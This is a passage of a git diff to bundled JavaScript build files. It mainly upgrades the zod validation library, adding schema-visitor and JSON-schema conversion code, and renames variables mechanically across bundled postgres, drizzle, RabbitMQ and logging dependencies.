z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69087,13 +74066,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69113,6 +74091,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -69170,9 +74156,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -69206,7 +74210,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -69231,9 +74432,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -69687,8 +74885,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -70154,7 +75352,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -70163,29 +75361,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -70693,10 +75891,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -70707,8 +75905,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -70723,9 +75921,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -70804,7 +76002,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -70870,10 +76068,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -70905,7 +76103,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -70928,7 +76126,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -71242,9 +76440,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -71277,9 +76475,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71308,9 +76506,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71392,15 +76590,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -71512,10 +76710,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -71740,7 +76938,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -71853,7 +77051,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -71881,8 +77079,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -71926,7 +77124,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -71940,8 +77138,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -71986,7 +77184,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -72787,8 +77985,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -73512,16 +78710,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -75236,19 +80434,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -75783,13 +80981,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -79799,8 +84997,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -79865,13 +85063,13 @@ function inList(values2) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -80172,12 +85370,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -80190,14 +85388,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -80230,17 +85428,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -80278,9 +85476,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -80322,9 +85520,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -80396,9 +85594,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent(JSON.parse(message2.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message2, false, false); @@ -80408,8 +85606,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message2); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -80712,35 +85910,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("analytics-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/applications/index.js b/api/applications/index.js index 3e0c28f..73df765 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has = Object.prototype.hasOwnProperty; var undef; - function decode4(input) { + function decode4(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode4(input) { + function encode4(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -13820,8 +13820,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -13908,12 +13908,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -14629,21 +14629,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -14659,7 +14659,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: 